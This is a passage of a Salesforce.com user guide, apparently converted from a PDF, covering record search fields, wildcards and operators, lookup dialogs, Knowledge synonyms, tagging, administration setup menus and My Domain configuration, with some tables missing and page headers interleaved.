a field hidden to them, the search results include the record that contains the field, even though users cannot see the
field.
See Also:
Search Overview
314
Search and Tags Searching Records
Searching Records
Available in: All Editions
3. Optionally select Limit to items I own to restrict the search results to records of which you are the owner.
4. If you have the “Affected by Divisions” permission, optionally choose whether to search in just your working division, or
in all divisions.
5. Click Go!.
3. Optionally select Limit to items I own to restrict the search results to records of which you are the owner.
4. Optionally select Exact phrase to restrict the search to an exact phrase search. This option is equivalent to using
quotation marks around your entire search string.
5. In the Scope area, select one or more Salesforce.com objects for which you want to return search results. If you do not
select any objects in this area, all possible objects are returned by your search. You can click Select All or Deselect All to
quickly select all or no objects.
6. If you have the “Affected by Divisions” permission, optionally specify which divisions you want to search.
315
Search and Tags Search Fields
7. Click Search.
See Also:
Search Overview
Viewing Search Results
Lookup Dialog Search
Search Fields
Filtering Search Results
Tip sheet: Finding the Information You Need
Search Fields
The types of records you can search vary according to which Edition you have.
You can search for information within any of the fields listed in the following tables. The first column lists fields searched in
both the Sidebar Search and Advanced Search. The second column lists additional fields searched in Advanced Search only.
Note: Fields that are hidden from a user via field-level security are still searchable. When users search for a value in
a field hidden to them, the search results include the record that contains the field, even though users cannot see the
field.
316
Search and Tags Search Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Account Name Billing Address
Account Site All custom fields of type text, text area, long text area, email,
and phone
Fax
Phone
Ticker Symbol
Website
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Account Name Billing Address
Email All account and contact custom fields of type text, text area,
long text area, email, and phone.
Fax
Home Phone
Mobile
317
Search and Tags Search Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Other Phone
Ticker Symbol
Website
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Article Fields
Neither Sidebar Search nor Advanced Search are designed to find articles. To find an article, use the search tools in the sidebar
on the Articles tab instead. For more information, see Searching for Articles on page 2359.
Asset Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Asset Name Description
Serial Number All custom fields of type text, text area, long text area, email,
and phone.
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Attachment Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
File Name
Campaign Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Campaign Name Description
All custom auto number fields and custom fields that are set All custom fields of type text, text area, long text area, email,
as an external ID and phone.
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
318
Search and Tags Search Fields
Case Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Case Number Description
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Web Company (of person who submitted the case online) Case Comments
Web Email (of person who submitted the case online) All custom fields of type text, text area, long text area, email,
and phone.
Web Name (of person who submitted the case online)
Subject
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Contact Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Assistant Department
First Name (Local) All custom fields of type text, text area, long text area, email,
and phone.
Home Phone
Last Name
Mobile
Other Phone
Phone
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
319
Search and Tags Search Fields
Contract Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Contract Name Billing Address
All custom auto number fields and custom fields that are set Shipping Address
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Special Terms
All custom fields of type text, text area, long text area, email,
and phone.
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name Description
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name All custom fields of type text, text area, and long text area.
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Document Fields
Neither Sidebar Search nor Advanced Search are designed to find documents. To find a document, use the Find Document
button on the Documents tab instead. For more information, see Searching for Documents on page 206.
Entitlement Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name
320
Search and Tags Search Fields
Idea Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Title Description
Comment
Lead Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Company Address
Email Description
Fax Title
First Name All custom fields of type text, text area, long text area, email,
and phone.
First Name (Local)
Last Name
Mobile
Phone
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Note Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Title Body
Opportunity Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Opportunity Name Description
All custom auto number fields and custom fields that are set All custom fields of type text, text area, long text area, email,
as an external ID and phone.
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
321
Search and Tags Search Fields
Question Fields
The Answers tab in Salesforce.com lists all the questions posted to ananswers community.
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Question Title Question Body
Reply Body
Quote Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Quote Number
Quote Name
Report Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Report Name
Description
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name Description
Solution Fields
Neither Sidebar Search nor Advanced Search are designed to find solutions. To find a solution, use the Find Solution button
on the Solutions tab instead. For more information, see Searching for Solutions on page 2339.
Tags
You can search for tags in both sidebar Search and Advanced Search.
322
Search and Tags Search Fields
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Subject Comments (tasks and events only)
All custom auto number fields and custom fields that are set All custom fields of type text, text area, email, and phone.
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
User Fields
Only active users are included in search results.
Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Email About me
First Name All custom fields of type text, text area, long text area, email,
and phone.
Last Name
Name
Nickname
Phone
Username
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.
Type of Record Fields Searched in Standard Lookups Fields Searched in Enhanced Lookups
Account Account Name Account Name
Account Name (Local) Account Name (Local)
323
Search and Tags Search Fields
Type of Record Fields Searched in Standard Lookups Fields Searched in Enhanced Lookups
Last Name (Local) Last Name (Local)
See Also:
Search Overview
Searching Records
How Search Works
Searching for Documents
Searching for Price Books and Products
Searching for Solutions
Tip sheet: Finding the Information You Need
324
Search and Tags Search Wildcards and Operators
Wildcards
In Sidebar Search, Advanced Search, Lookup Search, Product Search, Report Search, and Solution Search, you can use
wildcards to help you find the information you need.
Wildcard Description
* (asterisk) Use an asterisk to match one or more characters at the middle or end of your search term.
Do not use the asterisk at the beginning of a search term, unless you are performing a standard
lookup search.
For example, a search for john* finds items that start with variations on the term john, such
as, johnson or johnny. A search for mi* meyers finds items with mike meyers or michael
meyers.
? (question mark) Use a question mark to match one character at the middle or end of your search term. For
example, a search for jo?n finds items with the term john or joan. The question mark wildcard
does not work at the beginning of a search term.
Special Operators
You can use special operators to improve your results. These operators are available in Advanced Search, Enhanced Lookup
Search, Product Search, Report Search, and Solution Search only.
Note: Sidebar Search automatically places the quotation mark operators around any search string that you enter.
325
Search and Tags Search Wildcards and Operators
Operator Description
AND Finds items that match all of the search terms. For example, acme AND california finds
items with both the word acme and the word california.
In Advanced Search, using AND is optional, as searching for acme california is the
same as searching for acme AND california.
OR Finds items with at least one of the search terms. For example, acme OR california
finds items with either acme or california or both words.
AND NOT Finds items that do not contain the search term. For example, acme AND NOT california
finds items that have the word acme but not the word california.
" " (quotation marks) Use quotation marks around search terms to find an exact phrase match. For example, a search
for "monday meeting" finds items that contain the exact phrase monday meeting. This
can be especially useful when searching for text with punctuation. For example, "acme.com"
finds items that contain the exact text acme.com. However, the asterisk (*) and question mark
(?) function as wildcards when they are included in a search phrase that is enclosed in quotation
marks.
Order of Operations
When you combine multiple operators in a row, precedence is as follows:
1. Parentheses ()
2. AND and AND NOT (between these two, precedence goes to the rightmost operator)
3. OR
For example, the following table shows how search strings are interpreted based on these rules:
See Also:
Search Fields
Searching Records
Search Overview
Tip sheet: Finding the Information You Need
326
Search and Tags Viewing Search Results
When you perform a search, the Search Results page displays a separate list for matching tags and tag sets, and for each object
with matching results. You can click on a link at the top of the page to jump directly to a particular list of results. The link
also contains the number of results for that object. For example, if your results include a link that says Contacts [25+], there
are more than 25 contact records that match your search criteria.
Search results include the following information:
• Personal tags that you created or public tags on records you can view
• Objects for which you have at least “Read” permission
• Records to which you have access
• Fields that are visible in the search layout defined by your administrator
• Fields to which you have field-level security access in Enterprise, Unlimited, and Developer Editions
• Records from custom objects if they are in a custom tab that you can access
• Records for which you are the owner, if you choose to limit the search to items you own
• Records in your working division as specified in the Divisions drop-down list in the sidebar, if your organization uses
divisions and you have the “Affected by Divisions” permission
Note: Use Advanced Search to find records from multiple divisions at one time. If you do not have the “Affected
by Divisions” permission, your search results include records in all divisions.
Select an entry to jump directly to that item or click Edit to edit it.
If you are not satisfied with your results or you would like to further refine your search, use the Search box at the top of the
results page. When the Scope is All Objects, this search box behaves like the Sidebar Search. If you select Advanced Search
from the Scope, you will be directed to the Advanced Search page to modify the scope of your search.
If your search returns a large number of results for a particular object, click the Next Page or Previous Page link to go to the
next or previous set of results for that object.
327
Search and Tags Viewing Search Results
328
Search and Tags Filtering Search Results
Note: The visibility of filter options (whether they are hidden or shown) is saved from session to session.
If sorting or filtering the results is taking a long time, you can stop the process by clicking the Cancel button on the
progress indicator.
See Also:
Search Overview
Searching Records
Filtering Search Results
Browsing, Searching, and Managing Tags
Tip sheet: Finding the Information You Need
Your administrator determines the fields available for filtering search and Enhanced Lookups results. Filters are only available
in the search results if your administrator created a search layout for filters on an object. Filters aren't available in Customer
Portals or partner portals.
Use the following tips for filtering search results:
• If you perform a blank lookup—that is, you click the lookup icon without entering a search term—filters will only apply to
items in the most recently used list. Otherwise, filters will apply to both this list and the resulting records of the lookup.
• When filtering search results, the operator is selected automatically based on the field type. The “equals” operator is used
for fields with the following types of fields:
- Dates
- Numbers, except auto number or phone fields
- Record IDs
All other fields use the “contains” operator. Auto number and phone fields use the “contains” operator because they can
contain non-numeric characters.
• Commas are used as OR operators in search results filters. However, for number fields where a comma can be part of a
number, commas are not treated as OR operators and users must explicitly enter the OR operator.
Note: When filtering search results, the explicit OR operator is only supported in number fields.
• The criteria you specify in search results filters are AND based. That is, if you specify more than one criterion, the result
includes only records that match all of the criteria.
• Any field of type URL is filtered based on the exact value that is entered by the user for that field.
329
Search and Tags Lookup Dialog Search
Note: When you enter a value in a URL field and save the record, Salesforce.com adds http:// to any URL that
doesn’t start with http:// or https://. However, the added http:// is not stored in the database. For example, if you
enter salesforce.com in the Website field and save the record, the value in the Website field displays as
http://salesforce.com, but the stored value is actually salesforce.com. Therefore, if you enter “http://salesforce.com”
in the Website filter field, your results do not include your record.
• The visibility of filter options (whether they are hidden or shown) is saved from session to session.
• You can enter special values for dates; see Special Date Values for Filter Criteria on page 226.
• If your organization uses multiple currencies, see Tips for Entering Filter Criteria on Multiple Currencies on page 2166.
See Also:
Searching Records
Search Wildcards and Operators
Tip sheet: Finding the Information You Need
Salesforce.com objects often include one or more lookup fields that allow users to associate two records together in a relationship.
For example, a contact record includes an Account lookup field that represents the relationship between the contact and its
associated organization. The object that contains the lookup field is the source object, while the object the lookup points to is
the target object.
Users can differentiate lookup fields from other fields because they appear with the button on record edit pages. Clicking
opens a lookup search dialog that allows the user to search for the record that should be associated with the one being
edited. A blank lookup is performed when you click the lookup icon without entering a search term.
Salesforce.com provides two types of lookups:
Standard Lookups
By default, all lookups behave as standard lookups. When searching for records with a standard lookup, only the fields
listed in Lookup Search Fields are queried. Standard lookups return up to 50 records at a time in alphabetical order, and
do not allow for sorting, filtering, or customizable columns.
Enhanced Lookups
If enabled by your administrator, account, contact, user, and custom object lookups can behave as enhanced lookups.
Enhanced lookups update standard lookup fields with the following functionality:
• Enhanced lookup search queries are broken into separate search terms at any split between alphabetic, numeric, and
special characters. In other words, if you enter ALL4ONE in an enhanced lookup field, the resulting query searches
for All and 4 and ONE. Consequently, entering ALL the 4 and ONE returns ALL4ONE. Also, searching for S&
returns fields containing both S& and &S.
• Enhanced lookups allow users to sort and filter search results by any field that is available in regular search results.
Users can also hide and reorganize the columns that are displayed in the results window.
330
Search and Tags Lookup Dialog Search
Note: In addition to user-controlled filters, administrators can create lookup filters on relationship fields
that limit the valid values and lookup dialog results for the field.
• Enhanced lookups return all records that match your search criteria and allow you to page through large sets of search
results.
• In enhanced lookups, you can use wildcards in your search terms; however, the wildcard can't be the first character
in the search term or phrase.
When you click a standard or enhanced lookup icon before entering anything in the lookup field, a list of all recently used
records displays. However, for standard lookups of products and queues, the dialog shows an alphabetical listing of the first
50 records. For standard lookups of campaigns, the dialog shows the first 100 active campaigns. For the asset standard lookup
on a case, the dialog shows all the assets tied to the contact on the case, if any. If you click the standard or enhanced lookup
icon next to a field that is populated with a string, the string value is used as the search query. For standard or enhanced lookups
of users, the dialog shows a list of recently accessed user records from across your organization. If you perform a blank
lookup—that is, you click the lookup icon without entering a search term—filters will only apply to items in the most recently
used list. Otherwise, filters will apply to both this list and the resulting records of the lookup.
Note: Only active users are searchable, except in the lookup for mass transfers, where inactive users are also searchable.
Lookup Auto-Completion
If enabled by your administrator, both standard lookups and enhanced lookups can display a dynamic list of matching recently
used records when a lookup field is edited. This list is restricted to objects of the appropriate type and, with the exception of
lookups of users, is populated from recently used items. For example, while editing an Account lookup, you can see recently
used accounts with names that match the prefix you have entered. Recently used contacts do not appear in this list.
Lookup auto-completion is subject to the following restrictions:
• You must have recently visited records of the appropriate type for the lookup's auto-completion list to be populated.
• You must be editing the lookup field on a record's edit page.
331
Search and Tags Configuring Lookups
• In organizations where the Salesforce.com Customer Portal or partner portal is enabled, you can filter the results that will
display on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down
list.
• If your organization uses divisions and you have the “Affected by Divisions” permission, your lookup dialog search results
include records in the division you select in the lookup dialog window.
See Also:
Search Overview
Filtering Search Results
Configuring Lookups
Available in: All Editions
• By enabling enhanced lookups and specifying which fields users can use to filter lookup search dialog results
• By enabling lookup auto-completion
• By creating lookup filters that limit the valid values and lookup dialog results for the relationship field
After enabling enhanced lookups, you can specify which fields users can use to filter lookup search dialog results. If you don't
specify any fields, your users cannot use filters in enhanced lookup dialogs:
1. Click Setup ➤ Customize, select Accounts, Contacts, or Users, and click Search Layouts. To access search layouts for
custom objects, click Setup ➤ Create ➤ Objects, click on the name of the object you want to modify, and then scroll
down to the Search Layouts related list.
2. Click Edit next to the Lookup Filter Fields layout.
3. Use the arrows to add or remove fields from the layout, and to define the order in which the fields should display. You can
add up to six filter fields to the Selected Fields list. To select more than one field at a time, use CTRL+click or SHIFT+click
to select multiple items in a range.
332
Search and Tags Managing Salesforce Knowledge Synonyms
4. Click Save.
You can save time for your users by enabling lookup auto-completion, which is available on for account, contact, user, and
custom object lookups. This feature enables users to select items from a dynamic list of matching recently-used records when
a lookup field is edited.
Administrators can enable lookup auto-completion with the following steps:
1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.
2. In the Search Settings area, select the object lookups for which you want to enable auto-completion. Currently, only
account, contact, user, and custom object lookups can use this feature.
3. Click Save.
See Also:
Search Overview
Salesforce Knowledge synonyms are words or phrases that are treated as equivalent in article searches, letting you optimize
search results. When searching articles, users can enter search terms that don't match any terms in your articles, but are
synonymous with those terms. For example, if you define a synonym group with these synonyms:
CRM, customer relationship management, Salesforce.com
then a search for customer relationship management matches articles containing customer relationship management,
as well as articles containing CRM or Salesforce.com.
When building synonym groups, work with knowledge managers and other subject matter experts in your organization to
create relevant synonyms.
To view and manage synonyms, click Setup ➤ Customize ➤ Search ➤ Knowledge Synonyms.
• To create a synonym group, click New. Enter at least two synonyms. A synonym can be any word or phrase. You can add
up to 300 synonym groups.
333
Search and Tags How Salesforce Knowledge Synonyms Work in Searches
Symbol Description
* Asterisk
? Question mark
" Quotation mark
( Open parenthesis
) Closed parenthesis
• To filter a long list of groups, click Show Filters, then in the Synonyms field, enter part or all of a synonym, and click
Apply Filters.
• To edit a synonym group, click Edit next to the synonym group, then update the synonyms as needed.
• To delete a synonym group, click Del next to the synonym group.
See Also:
How Salesforce Knowledge Synonyms Work in Searches
Searching for Articles
Wildcards
If a wildcard is used in a search, the wildcard expands the search term, but the search doesn't match any synonyms, even
if the search phrase contains a defined synonym.
For example, if these synonym groups are defined:
334
Search and Tags How Salesforce Knowledge Synonyms Work in Searches
Search operators
If a search operator—and, or, or and not—is part of a defined synonym and that synonym is used as a search phrase, the
search treats the phrase as a literal string and doesn't use the operator. An operator is valid if the search phrase is not a
defined synonym.
For example, if this synonym group is defined:
fruit, oranges and apples
Then a search for oranges and apples matches items that contain the exact phrase oranges and apples and the word
fruit.
Stemming
A synonym is not stemmed in search results; rather, it is matched as an exact phrase. However, the search term is
stemmed.
For example, if this synonym group is defined:
quench, drink orange juice
Then a search for quench matches items that contain quench, quenched, quenching, and drink orange juice, but doesn't
match items that contain drinking orange juice.
Ignored words
Words that are normally ignored in searches, such as the, to, and for, are matched if the word is part of a defined synonym.
For example, if this synonym group is defined:
peel the orange, cut the apple
Then a search for peel the orange matches items that contain the exact string peel the orange.
Overlapping synonyms
If a search term consists of overlapping synonyms from different groups, the search matches synonyms in all of the
overlapping synonym groups.
For example, if these synonym groups are defined:
335
Search and Tags About Tagging
Then a search for orange marmalade recipe matches items that contain orange marmalade, citrus, marmalade
recipe, and sugar.
Subsets
If one synonym group includes a synonym that is a subset of a synonym in another group, a search for the subset term
doesn't match items that contain synonyms from the subset synonym group.
For example, if these synonym groups are defined:
• orange, apple
• orange marmalade, citrus
• marmalade, jam
Then a search for orange marmalade matches items that contain orange marmalade and citrus, but doesn't match
items that contain apple, jam, only marmalade, and only orange.
See Also:
Managing Salesforce Knowledge Synonyms
Searching for Articles
About Tagging
Available in: All Editions
Tags are words or short phrases that users can associate with most Salesforce.com records to describe and organize their data
in a personalized way. Tags allow users to group records from various objects by a common topic or use, and then use those
tags in search to make finding information fast and intuitive.
For example, if a user met a number of contacts and leads at a conference, she might tag them all with the phrase User
Conference 2007. She could then search for the User Conference 2007 tag and click that tag in Sidebar or Advanced
Search results to retrieve those records.
Salesforce.com supports two types of tags:
• Personal tags are private for every user. That is, any personal tag that a user adds to a record can only be viewed by that
user.
• Public tags are shared between all users in an organization. That is, any public tag that a user adds to a record can be viewed
by any other user who can also access the record.
Administrators can enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship
group members). This allows users to:
336
Search and Tags Tagging Records
• Search for personal and public tags from Sidebar or Advanced Search
• Browse personal and public tags alphabetically, by frequency of use, or by recency of use
• View all records with one or more assigned personal and public tags
• Rename personal and public tags or merge personal and public tags that are similar or redundant
• Delete personal and public tags that are no longer needed, sending them to the Recycle Bin
For more information, see Browsing, Searching, and Managing Tags on page 338.
See Also:
Tagging Limits
Search Overview
Using the Tags Sidebar Component
Enabling Tags
Deleting Personal Tags for Deactivated Users
Tip sheet: Finding the Information You Need
Tagging Records
Available in: All Editions
To tag a record:
1. On the record detail page, click Add Tags in the Tags area just under the colored title bar. If the record already has
associated tags, click Edit Tags instead.
2. In the Personal Tags or Public Tags text boxes, enter comma-separated lists of the personal and public tags that
you want to associate with the record. Tags can only contain letters, numbers, spaces, dashes, and underscores, and must
contain at least one letter or number.
As you enter new tags, up to ten tags that have already been defined are displayed as auto-complete suggestions. As you
type, the list of suggestions changes to show only those tags that match the prefix you have entered. To choose one of the
suggestions, click on it or use your keyboard arrow keys to select it and press the TAB or ENTER key.
3. Click Save to save your changes, or Cancel to discard them.
Note: You and your organization are subject to limits on the number of personal and public tags that you can
create and apply to records. If you attempt to tag a record with a new tag that exceeds one or more of these limits,
the tag is not saved. If this occurs, you can delete infrequently used tags from the Tags page. See Browsing,
Searching, and Managing Tags on page 338.
337
Search and Tags Browsing, Searching, and Managing Tags
1. On the record detail page, click Edit Tags in the Tags area just under the colored title bar.
2. Next to the Personal Tags or Public Tags text boxes, click [X] next to the tag that you want to remove from the
record.
3. Click Save to save your changes, or Cancel to discard them.
If the tag that you removed is the last instance of the tag, the tag is deleted from your organization completely. If other
records use the tag, the tag still appears in search results and the Tags page.
Tip: When you are creating or editing tags in the Tags area, you can also press the ENTER key to save your changes,
or the ESC key to discard them.
See Also:
About Tagging
Tagging Limits
Using the Tags Sidebar Component
Tip sheet: Finding the Information You Need
You can browse, search, and manage personal and public tags in the Tags page. To access this page, click the name of any tag
on a detail page, or, if your administrator has enabled the Tags sidebar component, click Tags in the sidebar.
Review the following topics for information on how to use this page:
Personal tags are associated with the tag icon ( ). Because personal tags are private, you can only see the personal tags that
you have defined; you cannot see the personal tags of other users. You can, however, see all public tags that have been defined
in your organization.
You can browse through your tags by clicking a letter at the top of the tag browsing area to view only tags that begin with that
letter, or by using the Next Page and Previous Page links at the bottom.
338
Search and Tags Browsing, Searching, and Managing Tags
By default, tags are listed in alphabetical order. You can also choose By Number of Uses from the Sort picklist to sort tags
by the number of records that are tagged by them, or choose By Most Recently Used to sort tags by how recently they were
added to a record.
As with regular search results, you can select and reorder the columns that appear for each object, and filter the search results
by particular values. See Viewing Search Results on page 327.
Searching Tags
You can search tags by entering terms in the Search Tags text box and clicking Search. Only tags that meet your search criteria
are listed in the tag browsing area. You can then click any tag to view records associated with that tag.
Search strings must include at least two characters to return results, and can also include wildcards and other special operators.
See Search Wildcards and Operators on page 325.
The most recent search result is saved in the tag browsing area next to the alphabet at the top of the page. Click the search
string to return to your results.
Managing Tags
You can rename or delete any personal tag, but you must have the “Tag Manager” profile permission to rename or delete a
public tag.
339
Search and Tags Tagging Limits
See Also:
About Tagging
Tagging Limits
Search Overview
Tagging Records
Using the Tags Sidebar Component
Tip sheet: Finding the Information You Need
Tagging Limits
Available in: All Editions
See Also:
About Tagging
Tagging Records
Browsing, Searching, and Managing Tags
Deleting Personal Tags for Deactivated Users
Tip sheet: Finding the Information You Need
340
ADMINISTERING SALESFORCE
Click Setup ➤ Administration Setup to open the Administration Setup page. It contains setup and customization options
to help you set up your Salesforce.com organization.
Getting Started
Review the Rollout Guide for best-practice examples on setting up Salesforce.com and ensuring a successful rollout. The
guide is not available for Personal or Developer Editions.
Manage Users
Expand the Manage Users folder under Administration Setup to access the following options:
Users
Create, edit, and deactivate users (see also About Customer Portal User Management on page 1338).
Roles
Define your organization’s role hierarchy.
Profiles
Set user profiles to control users’ permissions, login access, and field-level security.
Public Groups
Add, update, or delete public groups.
Queues
Add, update, or delete queues for cases, leads, and custom objects.
Login History
View when your users are logging in.
Training History
View which users have taken online training.
Company Profile
Expand the Company Profile folder under Administration Setup to access the following options:
341
Administering Salesforce Setting Up Your Organization
Company Information
Update your company's information and set up multiple currencies.
Manage Currencies
Set up multiple currencies.
Manage Divisions
Set up divisions to segment your data for greater ease-of-use.
Fiscal Year
Set up fiscal years for your organization.
Business Hours
Set up business hours for your customer support team.
Holidays
Set up holidays during which business hours for your customer support team don't apply.
My Domain
Set up a custom Salesforce.com domain name, which appears in the URLs that you use to login to and use the application.
Security Controls
Expand the Security Controls folder under Administration Setup to access the following options:
Sharing Settings
Define how your users share data.
Field Accessibility
View the access that users have to specific fields based on profile and record types.
Password Policies
Define password policies for security.
Session Settings
Lock users’ sessions to an IP address or change session timeout settings.
Network Access
Define IP addresses from which users can log in to your organization.
342
Administering Salesforce Setting Up Your Organization
Delegated Administration
Enable standard users to perform some administrative duties.
Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options:
Letterheads
Create branded letterheads for HTML emails.
Email Templates
Create email templates to standardize communication.
Translation Workbench
Expand the Translation Workbench folder under Administration Setup to add available languages, assign translators,
translate entities, and override packaged entities for your users.
Data Management
Expand the Data Management folder under Administration Setup to access the following options:
Analytic Snapshots
Enable users to automatically run reports and save report results to fields on custom objects for further customization.
Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions, and Import Custom Objects
Import your organization’s accounts, contacts, custom objects, leads, person accounts, and solutions.
Data Export
Export your organization’s data.
Storage Usage
View how much data storage and file storage your organization is using.
343
Administering Salesforce Setting Up Your Organization
Sandbox
Create a complete single copy of your organization in a separate environment to do a variety of actions—such as quality
assurance testing, integration testing, or user training—without compromising your organization’s data.
Data Loader
Download a client application that allows you to import, update, delete, and export large quantities of records.
Monitoring
Expand the Monitoring folder under Administration Setup to access the following options:
Imports
An administrator can check the Import Queue to view details about an import or to cancel an organization import.
Outbound Messages
An administrator can view the Outbound Message queue to check the status of outbound messages related to workflow
or approval processes.
Time-Based Workflow
Specify criteria for monitoring the workflow queue, which contains pending actions triggered by workflow rules.
Case Escalations
Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by case escalation
rules.
Mass Emails
View the status of scheduled mass emails and cancel mass emails as appropriate.
Debug Logs
Specify the users for whom you want to retain the Apex debug logs in your organization.
Scheduled Jobs
View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes.
344
Administering Salesforce Setting Up Your Organization
Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless
users. Mobile configurations are sets of parameters that determine which data Salesforce.com transmits, and which users
receive that data on their mobile devices.
Desktop Administration
Expand the Desktop Administration folder under Administration Setup to manage desktop configurations for Connect
Offline and Connect for Outlook.
Outlook Configurations
Define the behavior of Salesforce CRM for Outlook for your users, including the Salesforce.com options that appear in
the Outlook user interface, the data that syncs between Salesforce.com and Outlook, and which users receive that data.
Note: Salesforce CRM for Outlook is available through a pilot program. For information on enabling Salesforce
CRM for Outlook for your organization, contact salesforce.com.
Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your
organization:
Deliverability
Set up email delivery options that affect your entire organization.
Organization-Wide Addresses
Associate an email alias with each available user profile.
Test Deliverability
Verify your organization can receive email from every Salesforce.com IP address.
345
Company Information About Company Information
Email To Salesforce
Automatically log emails you send from third-party email accounts as activities on lead and contact records in
Salesforce.com.
Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce.com with Google Apps™: a suite of
on-demand communication and collaboration tools hosted by Google and designed for business users.
COMPANY INFORMATION
When your company signs up, the information provided during signup is displayed on the Company Information page at
Setup ➤ Company Profile ➤ Company Information.
From the Company Information page, you can:
• Click Edit to change your company's information, including your organization's Default Language setting.
• Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise,
Unlimited, and Developer Editions only.
• Go to Checkout to buy additional user or feature licenses by clicking Buy More Licenses in the appropriate related list.
For detailed instructions, see Checkout User Guide.
The Company Information page also displays all of the active user and feature licenses you have purchased for your organization.
A user license entitles a user to different functionality within Salesforce.com and determines the profiles available to the user.
A feature license entitles a user to an additional Salesforce.com feature, such as Marketing or Connect Offline.
This page lists the following for each type of license:
346
Company Information My Domain Overview
• Used Licenses is the number of licenses that you have assigned to users.
• Remaining Licenses is the number of unused licenses.
See Also:
Company Information Fields
Understanding Language, Locale, and Currency
Managing Multiple Currencies
Viewing User License Types
Viewing Feature Licenses
My Domain Overview
Available in: Unlimited, Enterprise, and Developer editions.
Using My Domain, your organization can select a custom Salesforce.com domain name that highlights your brand, or a
different term that represents your business. Using a custom domain name provides other important advantages, such as
increased security and better support for single sign-on. My Domain is also available for sandbox environments.
Your domain name uses the standard URL format, including:
For example, the login URL for a company called Universal Containers would be:
https://universalcontainers.my.salesforce.com/. You can use up to 40 characters.
It's a snap to set up a custom domain name. After you decide on the name or term you want to use, My Domain checks to
make sure your subdomain is available. Then it registers the domain name and publishes it to the internet. After a brief period,
you'll receive an email to let you know your new domain name is ready for testing. Log in using the new URL and test the
URLs for other pages in the application.
When deployed, you have options for how you want to handle page requests that don't use the new domain name. You can
block them entirely or redirect them to the new URL—with or without a message.
Important: Once you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected
to your new domain.
See Also:
Setting Up and Rolling Out a Domain Name
Using My Domain
347
Company Information Setting Up and Rolling Out a Domain Name
When you set up a domain name for your organization, all of your application URLs, including those of Visualforce pages,
will change. This table shows you the differences.
1. When you finish testing your new domain name, click Setup ➤ Company Profile ➤ My Domain and click Deploy
to Users to roll out the new domain name to your organization.
Important: Once you deploy your new domain name, you can't reverse it. After deployment, all users will
be redirected to your new domain.
348
Company Information Setting Up and Rolling Out a Domain Name
2. Click Edit in the My Domain Settings related list. If you want to accept logins from your new domain only, select
the Login Policy checkbox. If you don't require users to log in from the new domain, they'll be blocked or
redirected based on your redirect setting.
Tip: If you block application page requests that don't use the new Salesforce.com domain name URLs, let
your users know they need to either update old bookmarks or create new ones for the login page and any tabs
or links within the application. Users will be required to use the new URLs if you block page requests.
3. Select a redirect policy. If you want to redirect page requests that don't use the new domain name, select a redirect
option. Users can access application pages with or without a message explaining the URL change.
Tip: If you choose to redirect page requests to new URLs and provide a warning message, let your users
know that they should update their bookmarks the first time they're redirected.
4. Click Save.
• If you have customized your Salesforce.com UI with features such as custom buttons or Visualforce pages, make sure
you test thoroughly before you roll out your new domain name. Your customizations should not use instance-based
URLs.
• After you roll out your new domain name, use My Domain's redirect tools to gradually phase it in. For example,
choose the Redirected with a warning... option to make sure users update their bookmarks. When your
